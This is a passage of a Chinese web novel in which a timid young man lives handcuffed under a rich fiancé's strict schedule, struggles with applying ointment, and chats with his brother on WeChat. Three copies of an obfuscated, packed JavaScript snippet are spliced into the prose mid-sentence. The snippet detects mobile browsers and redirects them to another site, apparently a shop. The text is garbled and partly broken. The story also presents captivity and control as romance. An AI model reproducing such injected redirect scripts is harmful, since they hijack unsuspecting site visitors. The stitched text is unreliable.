l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195337|150809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】 【管家:好的,我会照顾好苏小少爷的!】 …… 苏小少爷自己一个人就过得很好。 顾熠阑果然遵守了他的承诺,没让他出门一步。 午餐晚餐,还有下午的鲜切水果,都是阿姨送到门口,敲敲门告诉他投喂到了。 他等人走了,再偷摸着去开门。 手机连不上网,爸爸刚录好线上的网课也就这么被扼杀在摇篮里了。 苏泽岁还记得家里人的手机号码,先给哥哥发了条短信报平安——【哥哥,是我。我很好。】 然后就认认真真地写起题目来,丝毫没注意到开了勿扰模式的手机正在被苏铭宇的“???”轰炸。 他有好多题不会。 没有网课的孩子,只能自己奔跑。 “砰砰”两声,房门被敲响了。 苏泽岁看了眼时间——19:20。 看电视的时间到了。 “小少爷,我能进来吗?”管家的声音在门外响起。 苏泽岁躲在门后,探出小半个头,开了房门。 门框上自带红外线感应系统,当管家进入房中,房中线上实时人数就会变成“2人”。 “小少爷,该下楼看电视了。”管家拿着手铐钥匙道。 苏泽岁对死板苛刻的时间表接受良好,欣然应下,什么也没准备地下了楼。 他每次经过偌大的客厅,里面都是空无一人。所以他一直以为家里没有什么佣人。直到现在,客厅的大电视前,一排排坐满了保安保姆…… 听到他下楼的声音,几排人齐刷刷地朝他看了过来。 数不清的眼睛倏地直直对着他。 苏泽岁腿一软,差点跪在地上。 “不……”苏泽岁想跑,但腿使不上劲。 他帽子墨镜口罩一样都没戴,于他而言,被人注视的尴尬感觉,不亚于正常人在大街上裸奔。 跟在后面的管家也懵了。 他看见少年纤细的身体在颤抖,清澈的眼眸里升起水雾,眼眶以肉眼可见的速度在变红,好像下一秒就要委屈得哭出声。 “别别别,不是什么恐怖片,就是普通社会新闻,别紧张别紧张。”管家急忙劝道。 管家叽里咕噜说不到重点,苏泽岁迟迟不得解脱,双手捂住脸,再也撑不住地磕跪在地上:“呜。” 管家吓一跳,慌忙上去扶他:“顾先生马上回来了,你要好好遵守时间表,他回来了肯定很高兴,第一个表扬你!” “……呜。”苏泽岁被半搀着手臂,还是害怕,颤抖着又要跪下。 “还会奖励你!”情况危急,管家也顾不上自己再说什么了,先把人稳住最重要。 “呜呜。” “真的!而且你想看什么都行,《蜡笔小新》都行!”管家彻底没了辙,一边安慰他,一边堵着他,防止他吓跑了。 …… 于是,顾熠阑踩着夜幕回来的时候,就看见客厅几排穿着围裙的保姆、几排身形壮硕的保镖,都目光呆滞、眼神空洞地看着前方。 像被人抽了魂魄的、没有感情的木头,眼里无光,一动不动。 而前方的荧幕上,正投影着—— 《中学奥林匹克竞赛物理教程详解视频》。 “哎我们这个光学镊子啊,它呢是干嘛的,哎对,它能捕获粒子,除此之外,它还能把激光的能量会部分传递给粒子。粒子在受到光学镊子束缚的同时……” 保姆:目光涣散。 保镖:眼神木讷。 管家:神情恍惚。 我是谁?我在哪?电视在放什么鬼画符、催眠咒? 顾熠阑:“……” 而罪魁祸首正缩在所有座椅的最后面,环抱着膝盖,借着微弱的光线,在委屈巴巴地做笔记,还时不时耸耸泛红的鼻尖。 客厅没有开灯,浅淡的投影光像是给所有人蒙上了一层半透明的灰布。 朦胧的光雾下,很多人面容都看不清了。 但奈何少年的皮肤实在过白,稍微一点变化都被衬得格外明显,比如那发红的眼眶,以及泛着青紫、显得有些触目惊心的膝盖。 顾熠阑皱了皱眉。 9. 哄睡 “哎顾先生,您回来了!!”管家注意到大门口的人,逃命一般逃离了客厅,迎了上去。 这短短半个小时,比他前半辈子还难熬。 “嗯。”顾熠阑看了眼墙上的挂钟。 管家注意到他的视线,忙汇报道:“现在晚间七点五十整,离看电视结束还有十分钟。” 他一直盯着时间呢,每过一分钟他都要在心里阿弥陀佛一遍。 “他怎么了?” 虽然顾熠阑没有明指名字,但管家知道他说的是谁,低声答道:“苏小少爷很排斥看电视,不愿下楼还摔了一跤。哄了好久才好。” 顾熠阑蹙眉:“哄?” 管家却会错意,解释起自己是怎么哄的:“我见他实在走不动路,就跟他说电视可以播他想看的东西,什么都行!而且他要是乖乖遵守时间表,您回来了您……” 说着说着,管家就意识到了不对劲,声音逐渐变小,也逐渐心虚。 糟糕,年纪大了记性不好,把空头支票的事忘了。 “我怎么?”偏生顾熠阑不依不饶,接着他的话问了下去。 “您回来了、您您……会表扬他奖励他之类的。”管家硬着头皮道。 说完,他又急忙补充道:“不过苏小少爷应该只是想看竞赛课程,没把这些话放在心上。” 顾熠阑没说话,略过了他,直接朝缩在客厅角落中的少年走了去。 虽然自家老板没什么脸色,但管家觉得他几十年管家职业生涯可能要到了头了。 多少年来,他甚至没见过顾熠阑对什么人有过好脸色。还什么表扬什么奖励,这些光是跟顾熠阑的名字放在一起,就显得格外违和! 也怪他,看着少年泪眼朦胧、可怜兮兮倒在地上的样子,就被鬼迷了心窍,口不择言! …… 苏泽岁学习的时候向来很投入。 所以,直到高大的阴影投到课本上、挡住了他看题的视线时,他才意识到,有个身形高挑的人走了过来。 苏泽岁抬头,目不转睛地看着眼前的男人。 顾熠阑拉开他身旁的椅子,双手环胸,坐了下来。 员工对老板的敬而远之是刻在骨子里的,顾熠阑一坐下,周围一圈人“呼啦”换了远处的座位,给两人留下的独自相处的空间。 人走远了,苏泽岁心里的压抑感减轻了许多,嗓音还带着鼻音道:“谢谢。” 顾熠阑自动忽略少年时不时冒出来的胡言乱语,用下巴指了指投影,目不斜视:“继续看。” 苏泽岁抽了抽鼻尖,点点头,专心上起课来。 投影上的金牌教练虽然语气词夸张,但条理清晰,方法独到。一道光学镊子的创新题抽蚕剥丝,层层推导,步步惊心!到了解题最关键之处—— 彩光一闪,投影断电,黑屏了。 20:00到了。 看电视时间结束。 苏泽岁攥着笔的手顿在空中,软唇微微张开,傻愣了一下,似乎还没从解题思路中抽离出来。 但下一秒,他放下笔,揉了揉发酸的眼眶,抱着书就要往楼上跑。 因为晚间电视活动结束,坐在他前面的陌生人,似乎又准备回头看他了。 顾熠阑也站起身,慢悠悠跟在少年身后,上了楼。 急于将功补过的管家注意到老板的动作,跑着跟上了他。 三人前前后后进入了二楼的侧卧。 确如管家所说,少年的玩偶一摆,整个房间的气质都不一样了,就连那金丝笼都顺眼了许多。 唯一突兀的,当属那长长绕绕蜿蜒在床上地板上的森寒锁链,给人一种童话中的噩梦的割裂感受。好像少年看似光鲜亮丽,生活在梦幻玩偶世界中,但实际上,他只是橱窗中被人控制的玩偶。 解手铐需要钥匙,但扣上却不需要。 玩偶苏泽岁放好书,乖巧地拿起床上的手铐,“咔”地铐在左手上,甚至还扯了下链条,试试铐在床头的那一端铐牢了没,相当自觉。 刚跟着赶来的管家看到的就是这样一幕,瞬间傻了眼。 侧卧里只有两个座椅,苏泽岁铐好锁链,又小心翼翼把两个椅子摆好,转头看向管家。 “不用不用,我不用坐的。”管家回过神来,直摆手。 苏泽岁又去倒了杯热水,放在桌上,推向了顾熠阑:“水。” 顾熠阑冷漠拒绝:“不用。” 苏泽岁惊讶又疑惑地看着他,指了指自己的嗓子,憋出一句:“不难受、了吗?” 顾熠阑:“……” 站在桌边的管家偷偷捂了下脸。 能这么高频率、无禁忌在顾熠阑雷区蹦迪,还全身而退的,恐怕只有眼前这个不谙世事的小少年了。 顾熠阑意思性地喝了口热水,感受着温热的触感流过嘶哑的嗓子。 良久,他才看向少年,悠悠地开口问道:“怕电视?” 苏泽岁身形抖了抖,像是想到了什么可怕的东西,怯生生道:“唔唔。” 顾熠阑没有说话,而是随手翻了下一旁的木柜,拿了个白色的箱子出来。 但管家站在一旁,实在忍不住开口问道:“这、这是为什么啊?” 他活了几十年了,见过怕虫子怕鱼怕鸡、甚至怕衣架的人,但从没见过害怕电视的。 顾熠阑没有打断插话的管家,他垂着黑眸,修长的手指在木箱中翻动。 “可怕。”苏泽岁答道。 “为什么可怕?”管家问。 苏泽岁想象了一下被人群包围的感受,声音都在发抖:“人、人……吓人。” “为什么吓人?” “因为、因为……”苏泽岁不知道还能再怎么具体表述,只能描述自己的感受,“心里难受。” “……为什么心里难受?”管家头上的问号越来越大。 “……” 这场鸡同鸭说的对话有来有回,就是没有一点进展,最后被顾熠阑冷冷打断:“行了。” 他把手上的云南白药磕在桌上,又道:“自己涂点药。” 闻言,管家瞬间噤声,而苏泽岁则脱下鞋,赤脚踩在座椅边缘。 经过一段时间的发酵,他膝盖上的青紫更显骇人。 少年蜷着身体,耷拉着长而浓密的睫毛,像一只被主人不小心磕裂了的瓷娃娃,看起来破碎又可怜。 “疼。”苏泽岁用手轻戳了戳磕伤,瘪嘴抗议:“不涂。” “涂了好得快。”顾熠阑直接打开药膏盖子,抬下巴示意某位娇气包伸手。 苏泽岁不想伸,但又怕给眼前的人留下不好的印象,挣扎了一会,他还是只伸出了一只食指。 顾熠阑默然,将药膏挤在少年纤细的手指上。 苏泽岁瞪着漂亮的眼眸,盯着指尖上白色的药膏,盯过来盯过去,好一会,才又抬眼道:“可不可以……” 他声音很小,说了四个字又没了下文。 顾熠阑:“不可以。” 苏泽岁偷偷瘪了下嘴,又看向管家。 本身就因“空头支票”而心虚不已的管家默默移开了视线。 少年一看就是小脆皮,稍磕碰一下就留个可怖的印子。如果不上药,伤处会看起来越来越严重,不知道得多少天才能消,要是让外人看到,以为他们虐待人,就大事不妙了。 苏泽岁无法,只能轻轻动着指尖,很慢很慢地把那药膏原封不动地转移到膝盖上。 终于大功告成后,他看着那一片青紫上堆着的一小坨突兀白色尖尖,甚至还满意地点了点头。 本就耐心极其有限的顾熠阑终于看不下去了,他冷脸道:“坐到床上去。” 苏泽岁不解,但向来听话的他还是照办了。 他刚坐好,伸着白细的小腿,防止蹭到膝盖上的那坨药膏,就见顾熠阑重新挤了些药,抬手就要给他擦到受伤处。 “不。”苏泽岁猛然一个缩腿,如临大敌地看着他,清澈透亮的眼里开始升起水雾。 顾熠阑:“……” 他看了眼门口的管家,冷漠起身,道:“你来。” 苏泽岁反应更强烈:“不!” 顾熠阑耐心耗尽,将云南白药丢在床上,居高临下地看着床上的少年:“我之前说过什么,都忘了?” 苏泽岁记性很好,更别提是顾熠阑用那般好听的嗓音说出来的话了。 他记得,三天前的这个房间里,顾熠阑说他“吃什么,说什么,做什么,都该被操控”…… 苏泽岁怕上药,现在所有抗议的借口又被堵死了,难过得不行。 他是泪失禁体质,鼻头一酸,泪水就莫名盈满了眼眶。 “我想……”苏泽岁抽噎,身体缩成小小一团,前言不搭后语,但委屈巴巴道,“哥哥了。” 少年眼尾泛红,长睫像蝴蝶翅膀般颤个不停,唇瓣上也咬出了浅浅的齿痕。他嗓音本就轻软,现在带了浓浓鼻音,能让最心狠的人动容。 此时,顾熠阑手机上的某款软件突然毫无征兆地“滴滴”了两声,昭示着少年跌破了人类正常心率下限的心跳值。 他瞬间默然。 管家心里一阵愧疚与怜惜,上前替男人打圆场道:“别哭别哭,就是上点药,又不是要把你永远囚禁起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195338|150809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。你要想出门走亲访友,或者让朋友来这里看你,也不是不可以的啊。” 顾熠阑:“不和我结婚,你可以天天见到你哥哥。” 苏泽岁抿起柔软的唇,被两人劝得更崩溃了,泪水越积越多,眼看就要决堤而出。 顾熠阑无法,用餐巾纸擦去自己指尖的药膏,掏出手机,在屏幕上随意点了两下,突然道:“房间里网开了。” 苏泽岁抽了抽发红的鼻尖,打开手机一看,顶端WiFi的符号果然亮了起来。 顾熠阑道:“自己把药上了,以后你就能在房里看网课。” 苏泽岁揉了揉湿漉漉的眼眸,有一点点心动。穿越过来,他丢了好多记忆,好多题目不会,没有网课,他真不知道该怎么办了。 他动作僵僵的,把膝盖上的小坨药膏很轻地揉开了点,厚涂在青紫上,然后抬头看向顾熠阑。 “揉开点。”顾熠阑重新弯腰拿起床上的药膏,又给少年挤了些。 苏泽岁整个人抖成了梭子,磨磨唧唧不肯继续。在一阵抽气瘪嘴哭唧唧、不情不愿的拖延后,才终于慢吞吞把药擦完了。 房内的人都松了一口气。 尤其是管家,笑眯着眼夸道:“小少爷真乖,让上药就上药,都不让大人操心的。如果我家那逆子有你这么省心……” 苏泽岁揉了揉依旧泛红的眼眸,视线黏在顾熠阑的身上,却没有听进他的话。 因为他看见男人将药膏放在书桌上,收起医疗箱,抬脚就要离开房间了。 苏泽岁视线跟着他移来移去,突然没头没尾道:“奖励。” 顾熠阑停住脚步。 管家也倏地收声。 省心个……鬼啊?!!他一句话,自己现在不就祸从天降被算旧账大难临头了吗? 顾熠阑回头,晃了晃手上的手机,道:“这就是。” 苏泽岁鼓着脸颊,看着手机上方亮起的WiFi图标,思索了好一会,才道:“换一个。” “没有别的。”顾熠阑冷冷拒绝。 苏泽岁没办法,托着小下巴想了想,又道:“表扬。” 因为年纪小,他嗓音中还带着一股稚气。说着这话,眨着通红的眼眸看着人,好像真成了一个乖巧求大人表扬的幼稚鬼。 顾熠阑:“……” 管家:“…………” 求您别说了。 “……想要什么奖励?”顾熠阑走了回来。 苏泽岁眼睛一亮,斟酌着措辞,张开软唇,就要说话。 顾熠阑静静等着。 他倒要看看,能让少年没网看网课都要的奖励,到底能是什么。 然后,他就听见苏泽岁说:“想听、老奶奶的故事。” 顾熠阑:“?” 苏泽岁平时几乎一字不说,只有在哥哥和顾熠阑面前,会多说一些。 “扶老奶奶的。”他双手掌心合十,在耳边比了个睡觉的动作,补充道:“过马路、睡前故事。” 管家大吃一惊:“???” 他的视线在单纯稚嫩的少年的脸上,以及自家老板凶神恶煞的面容上来来回回,满脸难以置信。 ……救命,这是什么恐怖的睡前故事?? 而且,让顾熠阑说故事哄他睡觉?晚上不会做噩梦吗?? 顾熠阑脸色冻人,从口袋中掏出一把钥匙,丢给少年:“额外的奖励。换衣服的时候自己解开,明早再给我。” 苏泽岁低头看着手铐的钥匙,失望地默不作声。 顾熠阑还有事,真的要走了。 苏泽岁对着他的背影招了招手。 “小少爷不哭哈,”管家又抽了几张纸给眼眶通红的少年,“你自己刷刷手机,很快就睡着了。” 苏泽岁对了对手指,委屈得没有说话。 但终于有了网,他得给家人再报个平安。 他重新注册了一个微信账号,凭借着记忆,输入家里人的电话号码,重加了几人的账号。犹豫了一会,他又把顾熠阑的手机号填了进去。 【哥哥:我通过了你的朋友验证请求,现在我们可以开始聊天了】 苏泽岁打字——【哥哥,是我。】 【哥哥:……看出来了】 【哥哥:在干嘛?怎么还不睡?突然换微信玩?】 苏铭宇这么一说,苏泽岁心底里刚被勾起些苗头的回忆,又重新席卷而来,将他包裹在里面。 他心里闷闷的,有些喘不上来气,突然打字道——【哥哥,你真的还活着吗?】 【哥哥:???】 【哥哥:死孩子,皮痒了?】 10. 娇气 【苏泽岁:哥哥,我真的也还活着吗?】 【哥哥:你在干嘛?你怎么了?】 【哥哥:顾熠阑那个混蛋把你怎么了???】 苏泽岁咬了咬手指,想了好久好久,才把膝盖上的淤青拍了张照,发了过去。 【苏泽岁:[图片]不小心受伤,但我上了药】 他想表达的是自己有乖乖上药,但对方显然重点歪了。 【哥哥:怎么伤成这样的?!你等一会,哥哥马上过去接你】 苏泽岁一个心急,急忙打字—— 【苏泽岁:不】 【苏泽岁:已经上好了药了】 像是怕苏铭宇不信,他又拍了张云南白药药膏的照片过去。 【哥哥:照顾好自己,被欺负了给哥哥发信息,想回家了我们随时接你回来。不要委屈自己……】 …… 另一边,管家跟着顾熠阑走向书房,准备帮老板整理一些公司的文件。 他跟在顾熠阑身边这么些年,自以为什么人都见识过了,年纪轻轻就老奸巨猾的,表面笑嘻嘻背后捅刀的,懦弱无为啃家产的……什么样的奇葩都有。 直到见到了苏泽岁,他才惊觉,这个世界上,居然还有一类群体,是他完全没见过、也从未想过会存在的——单纯得像纯白天使坠落人间,来考验世人来了。 都出了门了,管家还忍不住感慨:“苏小少爷应该是朵生长在温室里的漂亮小花。我记得他跌倒时,我还扶了他一把,没想到膝盖居然还能伤成这样。皮肤未免太嫩了些。” 顾熠阑闷闷“嗯”了一声,听不出情绪。 自家老板对什么事都兴致缺缺,极少搭腔。因而,就是这么一个简短的应声,都能让管家兴趣高涨。 “先生您觉不觉得奇怪,这个世界上真的有怕看电视的人吗?”管家摸着下巴,百思不得其解。 “不知道。” 管家忍不住回想起顾家分支里那几个才几岁的小孩子,为了小面子,被长辈在公共场合收拾了,都要强忍着痛不吭声。 他微微摇头,困惑地感叹道:“不小心磕了一下真的能疼成那样吗?那药膏也不刺激啊,但我看小少爷都要疼哭了,眼睛红得跟小白兔一样,真惹人心怜。” 顾熠阑手机震动了一下。 他通过人脸识别打开了书房的门,一边掏出手机,垂眸看去,一边凉凉吐出句评价:“娇气。” 震动的手机上是一条微信好友申请—— 【(o^^o)请求添加您为好友,备注:我是(o^^o)】 顾熠阑皱眉。他从来不加陌生人,也很少有人敢泄露他的联系方式,这条好友申请着实没头没尾。 就在他打算无视时,他注意到了对方的头像。 那是一个用着卡哇伊风格做着暗黑物件的娃娃,被一群正经可爱的毛绒玩具围在中央,若是细看,还能隐约看到旁边的金丝。 ——赫然是那天相亲他随手送给苏泽岁的手铐玩偶。 顾熠阑:“……” 管家还在他耳边极力挽回“娇气包”的形象:“娇气说明有福气。有福之人,必能给周围人带去好运,他和顾先生还是很般配的……” 顾熠阑耳根子不清静,心中烦闷,通过了对方的好友申请,顺手在朋友权限中点了个“仅聊天”。 他坐到书房宽大庄重的书桌前,刚要打字——【把头像换了】。 但还没等他打完,手机上方率先弹出一条未读消息。 【苏铭宇:我弟弟受伤了?】 犹豫了一下,顾熠阑还是先点进了和对方的聊天框。 【顾熠阑:嗯。】 【苏铭宇:就一个嗯????!你他妈的把话说清楚啊,来龙去脉前因后果受伤过程,都如实说来】 苏铭宇这架势,不知道的还以为有人把他弟弟绑架了。 如此咄咄逼人,心善之人会换位思考,理解他的焦急、赞叹他对弟弟的爱;暴躁之人会恼羞成怒,心说关我屁事。 但顾熠阑却依旧情绪淡淡的,好像这世上压根没有他关心在乎的事—— 【顾熠阑:不小心跌了跤。】 【苏铭宇:他上药的时候闹了没?闹归闹,但你等下,你先别带他去医院。也罢,这两天你先盯着他上药吧,他实在不愿意上药也就算了】 【顾熠阑:我学的好像不是幼师专业。】 【苏铭宇:……要你帮个忙比登天还难。小孩子嘛,闹了哄一下不正常?就算对联姻对象没有爱,不知道关爱一下小朋友啊?】 苏铭宇比苏泽岁大了八岁。就算弟弟已经成年,在他眼里,依旧是小屁孩。 【顾熠阑:要不你把娇气的小祖宗带回家供着?】 “顾先生,文件都整理好了。”管家抱着一大摞文件放下,瞬间在书桌上堆了座小山出来。 顾熠阑又瞥了眼手机,聊天界面上一直显示“对方正在输入中”,但始终没有下文。 他刚要把手机调成勿扰模式,专心处理业务,对面终于憋了一大段字出来—— 【苏铭宇:其实……】 工作时间已到,换了以前,哪怕对方有天大的事,顾熠阑也是不会再听对方扯皮的。但这回,鬼使神差的,他居然没有将视线从手机上移开。 “过三分钟叫我。”他对管家道。 管家站在一旁,忙应下。 【苏铭宇:其实,我一直觉得很对不起岁岁。我很少跟别人提起这件事,但在他小的时候,我们工作太忙,忽略了对他的关心和照顾,造成了不可弥补的伤害。他发育得晚,又不太会说话,经常被同班一些同学欺负。我很晚很晚才发现】 对方顿了一下,又继续发消息。 【苏铭宇:我才发现他身上一块青一块紫的。】 【苏铭宇:他那时候就瘦瘦小小一只,皮肤很白,伤痕触目惊心。我给他检查身上伤处的时候,他就像是做错了什么事似的,瞪着大眼睛无措地看着我,没有哭,也不说话。但我看他的伤处,推测那或许是被人掐的,或许是被人拿东西打的】 顾熠阑下意识皱眉,打字——【他一直没告诉你?】 【苏铭宇:没。他当时对家里多有钱没概念,那几个人威胁他,说告诉老师家长就继续揍他,他就不敢跟我们说了】 【顾熠阑:然后?】 【苏铭宇:后来,由于我发现得太晚了,所以……】 【苏铭宇:总之他对一些淤青和药膏有了一定的心理阴影,反应可能会比较强烈】 少年委屈着打死不愿意上药的场景仍如在眼前,顾熠阑将薄唇抿成了一条直线。 【苏铭宇:所以麻烦你盯一下他了。他之后要是闹得厉害了,希望你也多包容一点,给我发信息,我就去接他】 【顾熠阑:还行,还算乖。】 “顾先生,三分钟到了。” “嗡嗡——” 管家的提醒声和手机震动声同时响起。 【(o^^o):顾先生,是我[兔兔探头.jpg]】 顾熠阑点进信息,聊天界面上还存有他先前没打完的信息“把头像”…… 他删掉这几个字,盯着对方的头像,面无表情地打字。 【顾熠阑:看出来了。】 【(o^^o):离23:30很久,我在看网课。谢谢你[图片]】 照片中央,是摆在床上的iPad,上面放着客厅投影上没放完的竞赛网课,一旁还摊着比砖厚的竞赛书。 因为是随手拍的,少年白细笔直的小腿也意外入了镜,肤如凝脂,光滑如瓷,在顶灯的照射下,白得像一捧雪,乖巧又惹人无端心怜。 不知是什么样恶劣的人,会忍心对他残忍地动手。 【顾熠阑:嗯。】 手指在键盘上停留了几秒,他才又继续打字。 【顾熠阑:之前说想听什么故事?】 明知会把人引入歧途,在未来惹来更大麻烦,但他还是问了。 如果世界上真的有上帝,那么在那一刻,顾熠阑身边的磁场肯定被拨动了。 【(o^^o):现在可以听了吗?】 【(o^^o):要听扶老奶奶过马路的故事】 由于是在线上打字,苏泽岁的句子好歹通顺了起来。但由于他遣词造句要比正常人花更多的时间,所以他发消息也很慢。 【顾熠阑:之前不是说过了吗?】 【(o^^o):要听细节!】 【(o^^o):可以吗?[兔兔拜托.jpg]】 顾熠阑抬手揉了揉太阳穴,瞥了眼管家。 管家福至心灵,忙道:“顾先生,已经过去五分多……” 顾熠阑却打断了他,下巴一指对面的桌子:“开电脑,用AI给我写一段扶老奶奶过马路的故事。” 管家:??? 又五分钟过后。 【顾熠阑:那是一个阳光明媚的上午,我正要过马路。就在这时,我第一次看见了她——白发苍苍的老奶奶。 “奶奶,别怕,我来扶您过马路!”我像风一样跑过去,扶起老奶奶,过马路。 老奶奶粗糙而温暖的大手握紧了我,满脸都是感激。我宽慰她:“不用谢,这是我该做的!因为这属于……我的使命!!” 老奶奶慈祥地笑了,那一瞬间,时间仿佛静止,“正!道!的!光”bgm在我耳边乍然响起。 兄弟们,我做的对吗?】 顾熠阑没眼看,改都不改,就直接转发了过去。但手机对面的那个人却格外捧场—— 【(o^^o):对!好厉害!为了老奶奶而受伤[兔兔点赞.jpg]】 【顾熠阑:嗯。满意了?】 【(o^^o):那嗓子难受,也是因为老奶奶吗?】 【顾熠阑:……】 【(o^^o):是不是因为要跟老奶奶说过马路的要领,说了很久,才哑了?】 顾熠阑:“…………” 【顾熠阑:网课看完了?】 与此同时,二楼侧卧中,原本躺在枕头上的苏泽岁,倏地坐直了身体,好像上课走神突然被老师点了名,立刻打字道——【在看了![兔兔奋笔疾书.jpg]】 他没有给顾熠阑备注,所以界面上方还显示着对方的微信原名。 对方没有指责,而是淡淡回复—— 【一十一维:嗯。】 【苏泽岁:你在忙吗?】 【一十一维:[图片]嗯,明天再说。】 【一十一维:睡前把药膏放医疗箱里去。】 看见那个字眼,苏泽岁呼吸一滞,心脏像被人捏了一把,又酸又涩。 穿越前的记忆像放电影般,在他眼前闪回。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195339|150809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他记不清总是欺负他的人长什么样了,但他记得上一世医院消毒水刺鼻的味道,以及药膏冰凉的触感。 那时候哥哥癌症重病住院,他每乱花掉一分钱,哥哥活下来的可能性就少了一分。所以他总是硬扛着,反正就算不上药,自己也会好的。 尽管后来被哥哥发现了,给他买了一堆药,但这种想法早已根深蒂固在他脑中。他一看到药膏,就PTSD,觉得自己在剥夺哥哥生的希望…… 但压抑的情绪还没来得及蔓延,苏泽岁骤停的心脏就又恢复了乱跳的状态。 因为他看到了顾熠阑发过来的书桌的图片,在某个小角落里,文件上有几个模糊难辨的字——资助贫困高中生基金项目。 苏泽岁:!! 他暂时搁下回忆的进程,脑海中只冒出了一个想法——这个世界上真的还有这么好的人存在吗?! 挺身而出帮他打倒坏蛋,见义勇为扶老奶奶过马路,无私奉献资助贫困的学生! 他这两辈子加起来,熟悉的人里,除了家人,就是欺负他的坏人。 这是第一次见——“善良的人”。让人很满足,很舒服。 苏泽岁翻来覆去把这张照片左看右看上看下看,在画面每一个细节都倒背如流后,才把它小心地放进收藏夹里。 顾熠阑留给他的东西很少,除了这张图片,就只剩下那个手铐玩偶了。 苏泽岁抱着玩偶,又研究起对方的微信来。 顾熠阑的头像是一张随手抓拍的旭日。 在错落高楼的间隙,一颗火红的太阳晕染开周围的云朵,留下温和的橙色。晨光直射,也不刺目,反而带来了希望、活力,以及……正义! 带给苏泽岁的感觉……就跟顾熠阑这个人一样。 苏泽岁捏了捏白细的手指,感觉原本都停滞了心脏倏地猛跳起来,脸上又开始发烫。 能跟这么善良的人待在一起,很有安全感!善良的人还不让他出门、不准他跟别人说话,简直是天神下凡,社恐福音! 他红着小脸,保存了对方头像,然后打开手机上自带的搜索引擎,微信登录后,一个字、一个字地输入“怎么才能跟一个人结婚”。 【请稍后,正在搜索同类问题中……】 【首先,让我们掌声有请男方/攻方单膝跪地[啪啪啪],献上真诚表白。他的另一半们,请你们尖叫转圈娇羞捂脸欲迎还拒后,笑着同意[普天同庆][撒花]】 接下来,民政局会跑过来给你们发结婚证。 最后,是婚礼日子……】 【很简单,拒绝其他追求者,只留一个,就能跟“一个人”结婚了】 【省流版:首先,求婚;其次,领证;最后,结婚】 没见过世面的苏泽岁看呆了,总感觉哪里不对劲。 他迟钝地看了几遍,又试了几种问法,终于弄清了——原来要想跟一个人结婚,就得先提高那个人的好感度。 苏泽岁恍然大悟,重搜了个“怎么才能提升一个人的好感度”。 这回跳出来的答案是他想要的东西。其数量之多,只能用“浩如烟海”来形容。 苏泽岁像是个饿了很久的小馋猫掉进大罐罐里,如饥似渴废寝忘食地埋头苦学了起来。 而搜索软件检测到他浏览该词条的时间偏长,自动跳出一个“一键发帖”的按钮。 苏泽岁没用过论坛式的软件,系统给他弹什么,他就点什么。 他这个话题很受欢迎,短短几分钟时间,就有很多人在帖子下争当军师团,出谋划策。 苏泽岁不敢回复陌生人的评论,只能缩在被窝里,偷偷窥屏,把点赞高的、他认为好的方法都记下来。 吭哧吭哧忙活半天后,他从被窝中坐起,挺了挺单薄的身体,看着自己记得满满的笔记本—— 一,在他的朋友圈给予特别的回应。 二,在他有困难的时候恰巧出现,帮他渡过难关。 三,说有趣的话,做通情达理的伴侣。 …… 苏泽岁若有所思地点了点头,感觉小脑袋从未如此满过。拥有了这个清单,他就是下一个“社交带师”。 一番摇头晃脑地欣赏后,他将视线落在了第一条攻略上—— 一,在他的朋友圈给予特别的回应。 朋友圈是心灵的窗户,而你就是趴在窗户上东张西望的最靓的仔!赶快行动起来,在TA的朋友圈留下夸赞的话、引起他好奇的话、彰显自己独一无二的话吧! 冥冥之中自有天定,居然在查到这条攻略前就加了对方微信,看来很有缘分! 苏泽岁按照攻略,复制了几条“特别的回应”,类似于“ 这就叫专业!专业的事就该交给专业的人”“真的吗,我不信”“6,您又懂了”,然后信心满满、胸有成竹打开了顾熠阑的朋友圈。 他觉得第一条办法轻轻松松,势在必得。 然后—— 他就看到一条白线冷漠地横在对方朋友圈的最上方,而白线下面,空空如也。 苏泽岁诧异地张了张软唇,手指下意识往下刷了两下,但页面始终干干净净、空空荡荡的。 苏泽岁很少用微信,遇到这种情况彻底懵了圈,不解的他只能又戳进先前的搜索软件中。一顿查询后,软件告诉他—— 您已被对方屏蔽。 苏泽岁:。 11. 恐吓 苏泽岁坐起身,双手抱胸,气鼓鼓地瞪着床上那金光闪闪的手机,仿佛它才是那个罪魁祸首。 ……出师未捷身先死。 但!没关系,那先从第二条开始吧。等到好感度高了,就自然能解锁对方的朋友圈啦! 苏泽岁这样安慰着自己。 二,在他有困难的时候恰巧出现,帮他度过难关。 英雄救美的桥段永不过时,谁赞成谁反对! 在TA苦恼的时候,给予TA关心的话;在TA遇到问题时,突然像英雄般降临,帮TA解决麻烦。不用几次,TA就会对你露出崇拜的星星眼。 这段攻略描述的画面感太强,苏泽岁仿佛已经看到了顾熠阑对他星星眼,用低沉偏冷的嗓音道:“岁岁,你好厉害啊。” 苏泽岁被自己的想象给羞到了,将通红的脸埋进枕头里,假装鸵鸟。 就在此时,他的手机震动了一下。 苏泽岁头上的呆毛晃了晃,他抬起头,露出一张红润漂亮的小脸,茫然地去看弹出消息提醒的手机—— 【陌生人。的私信:在?】 他刚才的帖子小火了一下,话题楼里聊得热火朝天,但只有这一个人私信了他。 